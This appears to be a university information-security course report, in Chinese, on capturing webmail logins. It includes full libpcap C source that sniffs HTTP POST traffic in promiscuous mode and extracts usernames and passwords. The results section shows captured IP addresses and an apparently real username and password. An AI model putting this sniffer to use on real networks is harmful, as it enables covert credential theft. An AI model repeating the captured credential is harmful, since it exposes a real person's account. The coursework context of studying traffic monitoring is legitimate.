信息安全课设哈工大.docx

上传人:b****0 文档编号:18370148 上传时间:2023-08-16 格式:DOCX 页数:10 大小:330.89KB
下载 相关 举报
信息安全课设哈工大.docx_第1页
第1页 / 共10页
信息安全课设哈工大.docx_第2页
第2页 / 共10页
信息安全课设哈工大.docx_第3页
第3页 / 共10页
信息安全课设哈工大.docx_第4页
第4页 / 共10页
信息安全课设哈工大.docx_第5页
第5页 / 共10页
信息安全课设哈工大.docx_第6页
第6页 / 共10页
信息安全课设哈工大.docx_第7页
第7页 / 共10页
信息安全课设哈工大.docx_第8页
第8页 / 共10页
信息安全课设哈工大.docx_第9页
第9页 / 共10页
信息安全课设哈工大.docx_第10页
第10页 / 共10页
亲,该文档总共10页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

信息安全课设哈工大.docx

《信息安全课设哈工大.docx》由会员分享,可在线阅读,更多相关《信息安全课设哈工大.docx(10页珍藏版)》请在冰点文库上搜索。

信息安全课设哈工大.docx

信息安全课设哈工大

HarbinInstituteofTechnologyatWeihai

WebMail解析

作者:

院系:

计算机科学与技术

班级:

学号:

指导老师:

需要源程序的留下联系方式

哈尔滨工业大学(威海)

二零一二年六月

目录

 

1.前言3

2.涉及的协议简介:

3

2.1HTTP协议简介:

3

2.2TCP/IP协议简介:

4

3.程序设计思想:

4

4.程序函数设计:

5

5.webmail监控源程序5

6.相应截图及说明9

1.前言

随着网络的发展和普及,浏览网页、QQ聊天、电子留言、电子邮件己经深入人们的生活。

在众多的现代通信方式中,电子邮件(E-mail)己经成为了其中的重要组成部分。

当电子邮件给人们带来极大便利的同时,也带来了一系列的不安全因素:

有害信息的广泛传播、国家和企业机密的泄露等。

为了控制和减少这些不安全因素的发生,需要建立一系列的安全机制。

对传输内容的监控是较为重要的一种,在监控的过程中,对传输内容的还原又是最重要的一步。

此次实验目的是捕获webmail的登录账号与密码等信息。

2.涉及的协议简介:

2.1HTTP协议简介:

超文本传送协议(HTTP)是一种通信协议,它允许将超文本标记语言(HTML)文档从Web服务器传送到Web浏览器。

HTML是一种用于创建文档的标记语言,这些文档包含到相关信息的链接。

您可以单击一个链接来访问其它文档、图像或多媒体对象,并获得关于链接项的附加信息。

  HTTP工作在TCP/IP协议体系中的TCP协议上。

  客户机和服务器必须都支持HTTP,才能在万维网上发送和接收HTML文档并进行交互。

  HTTP是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。

它于1990年提出,经过几年的使用与发展,得到不断地完善和扩展。

前一段时间用的是HTTP/1.0,现在WWW中使用的是HTTP/1.1。

而且HTTP-NG(NextGenerationofHTTP)的建议已经提出。

HTTP主要特征:

1.支持客户/服务器模式。

2.简单快速:

客户向服务器请求服务时,只需传送请求方法和路径。

请求方法常用的有GET、HEAD、POST。

每种方法规定了客户与服务器联系的类型不同。

由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。

3.灵活:

HTTP允许传输任意类型的数据对象。

正在传输的类型由Content-Type加以标记。

4.无连接:

无连接的含义是限制每次连接只处理一个请求。

服务器处理完客户的请求,并收到客户的应答后,即断开连接。

采用这种方式可以节省传输时间。

5.无状态:

HTTP协议是无状态协议。

无状态是指协议对于事务处理没有记忆能力。

缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。

另一方面,在服务器不需要先前信息时它的应答就较快。

2.2TCP/IP协议简介:

TransmissionControlProtocol/InternetProtocol的简写,中译名为传输控制协议/因特网互联协议,又名网络通讯协议,Internet最基本的协议、Internet国际互联网络的基础,由网络层的IP协议和传输层的TCP协议组成。

TCP/IP定义了电子设备如何连入因特网,以及数据如何在它们之间传输的标准。

协议采用了4层的层级结构,一层都呼叫它的下一层所提供的网络来完成自己的需求。

通俗而言:

TCP负责发现传输的问题,一有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地。

而IP是给因特网的每一台电脑规定一个地址。

3.程序设计思想:

1.解析http,还原出tcp报文。

2.解析tcp,还原出ip报文。

3.解析ip报文。

4.查找post报文,找到username和password,把其中的参数打印出来。

5.分析目的地址,源地址以及端口。

6.设置循环,进行捕包。

4.程序函数设计:

1.http协议数据包解析函数:

voidhttp_callback。

2.tcp协议数据包解析函数:

voidtcp_protocol_packet_callback。

3.ip协议数据包解析函数:

voidip_protocol_packet_callback。

4.以太网数据包解析:

voidethernet_protocol_packet_callback。

5.webmail监控源程序

#include"packet.h"

#include

voidhttp_callback(u_char*arg,conststructpcap_pkthdr*pcaket_header,constu_char*packet_content,u_intlen)

{

constu_char*p=packet_content+14+20+len;

charbuf[1025];

charbuf1[1025];

inti=0;

u_char*ps=strstr(p,"POST");

if(ps!

=NULL)

{

while(*ps++&&i<12)

{

if(*ps=='\n')

i++;

printf("%c",*ps);

}

}

//找到username出现的位置

ps=strstr(p,"username=");

if(ps!

=NULL){

//printf("%s",ps);

sscanf(ps,"username=%[^&]&password=%[^&]&",buf,buf1);

printf("username:

%s\npassword:

%s\n",buf,buf1);

}

printf("-----------------------------------------------------\n");

}

voidtcp_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*

packet_header,constu_char*packet_content)

{

structtcp_header*tcp_protocol;

u_inthead_length;

u_shortsource_port;

u_shortdestination_port;

tcp_protocol=(structtcp_header*)(packet_content+14+20);

source_port=ntohs(tcp_protocol->tcp_source_port);

destination_port=ntohs(tcp_protocol->tcp_destination_port);

 

head_length=tcp_protocol->tcp_offset*4;

printf("sourceport:

%d\n",source_port);

printf("destinationport:

%d\n",destination_port);

switch(destination_port)

{

case80:

http_callback(argument,packet_header,packet_content,head_length);

break;

default:

break;

}

}

voidip_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*packet_header,

constu_char*packet_content)

{

structip_header*ip_protocol;

ip_protocol=(structip_header*)(packet_content+14);

printf("sourceaddress:

%s\n",inet_ntoa(ip_protocol->ip_source_address));

printf("destinationaddress:

%s\n",inet_ntoa(ip_protocol->ip_destination_address));

//如果是TCP协议

switch(ip_protocol->ip_protocol)

{

case6:

tcp_protocol_packet_callback(argument,packet_header,packet_content);

break;

default:

break;

}

}

voidethernet_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*packet_header,

constu_char*packet_content)

{

u_shortethernet_type;

structether_header*ethernet_protocol;

ethernet_protocol=(structether_header*)packet_content;

ethernet_type=ntohs(ethernet_protocol->ether_type);

//如果是IP数据包,则作进一步处理

switch(ethernet_type)

{

case0x0800:

printf("-----------------------------------------------------\n");

ip_protocol_packet_callback(argument,packet_header,packet_content);

break;

default:

break;

}

}

intmain()

{

pcap_t*pcap_handle;

charerror_content[PCAP_ERRBUF_SIZE];

char*net_interface;

structbpf_programbpf_filter;

//设置过滤字符串

charbpf_filter_string[]="tcpport80";

bpf_u_int32net_mask;

bpf_u_int32net_ip;

//获取可用的网络设备

net_interface=pcap_lookupdev(error_content);

pcap_lookupnet(net_interface,&net_ip,&net_mask,error_content);

//打开设备

pcap_handle=pcap_open_live(net_interface,20480,1,0,error_content);

//编译过滤规则

pcap_compile(pcap_handle,&bpf_filter,bpf_filter_string,0,net_ip);

pcap_setfilter(pcap_handle,&bpf_filter);

//是否为以太网

if(pcap_datalink(pcap_handle)!

=DLT_EN10MB)

return;

//循环捕包

pcap_loop(pcap_handle,-1,ethernet_protocol_packet_callback,NULL);

pcap_close(pcap_handle);

}

 

6.相应截图及说明

1.编译产生可执行文件watchwebmail。

2.运行watchwenbmail抓捕数据并把结果放入1.log日志文件中。

2.从1log中找到有用信息,例如目的地址,源地址,账号密码信息。

Ps:

如图可知sourceaddress(源地址):

172.31.159.56

Destinationaddress(目的地址):

61.125.250.99

Sourceport(源端口):

43732

Destinationport(目的端口):

80

Username:

huangchongyuan89

Password:

hcy090420226

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 工程科技 > 信息与通信

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2